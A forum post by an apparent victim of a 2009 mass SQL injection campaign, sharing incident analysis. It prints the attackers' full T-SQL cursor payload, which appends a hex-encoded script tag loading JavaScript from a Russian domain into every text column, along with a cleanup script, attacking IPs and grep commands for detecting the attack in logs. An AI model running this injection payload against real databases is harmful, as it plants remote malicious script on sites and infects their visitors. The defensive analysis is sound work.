Hi all,
I registered just give you my feedback on this. My company also get hacked in September and October 2009 using the technique described by LuTim.Thank you BTW. Your analysis helped me to figure out what happened on our servers. I get on this thread by this excellent post : http://phil-secu.over-blog.net/article-36697187.html (Thank him too).
To check what happened I tracked down "CAST(0x" in server web logs to see what happened. Once de-hexified, the SQL seems quite odd. Each time we get hacked there was another SQL statement issued later (few minutes to fews days) to clean up modified data. For some reason, the last cleanup did worked correctly. Google went indexing our site with all the crap and marked it as suspicious. This is how we get to know about the problem.
We get about four attempts of this kind (javascript insertion and cleanup). I cannot tell if there were successful or not since some hackers tried to clean up there mess and "work" of others went overwritten by following hackers.
For the records, here are the IP that used this technique :
211.35.77.200
95.176.141.237
41.235.61.202
Here is a javascript insertion statement :
deClarE @T vArCHaR(255),@C vArcHAR(255)
DeclaRE Table_Cursor CUrsoR fOR SelecT A.namE,b.NAmE fROm sysOBJeCTs A,syscOLUMNs B WhERe a.Id=B.id AnD a.xTyPE='u' AND (b.xtYPE=99 or b.XtyPE=35 oR B.xTypE=231 Or B.XTYpE=167)
OPeN tABLE_CURsor FeTCH nExt from tABLE_CuRsOr iNTo @t,@c
WhiLE(@@FETcH_Status=0)
BeGiN
EXEc('UpdaTe ['+@t+'] SET ['+@C+']=RTRim(cONVerT(vArcHaR(4000),['+@C+']))+caST(0x3C736372697074207372633D687474703A2F2F7777772E62616E6E6572742E72752F6164732E6A733E3C2F7363726970743E As VaRCHAR(51))')
feTCh nEXt fROm table_Cursor intO @T,@C
END
CLosE tAbLE_cursOr
dEALLOcatE TABle_CURsOr
hexa string : <script src=http://www.bannert.ru/ads.js></script>
(we also had on another attemp : <script src=http://www.bannerdriven.ru/ads.js></script>)
Here is the "cleaning" SQL statement (very similar) :
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor
CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The baseline of this statement is to identify any field in the database that can be used to hold text. The javascript is inserted is all those fields, probably hopping that one them might be used the web page generation.
Here is the SQL request used to identify the targeted fields :
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
To easly filter the interesting data in my web server log, I used Unix/Linux system and used the grep command as follow (-i for case insensitive):
grep -i "CAST(0x" filenamefilter
To avoid eating up your hard drive, you can work with gzipped files on the fly :
gzip -cd *gz | grep -i "CAST(0x" > redirection_to_some_file
Sorry for the code above. For some reason, I cannot write a ">" in a code section.
Hope this helps.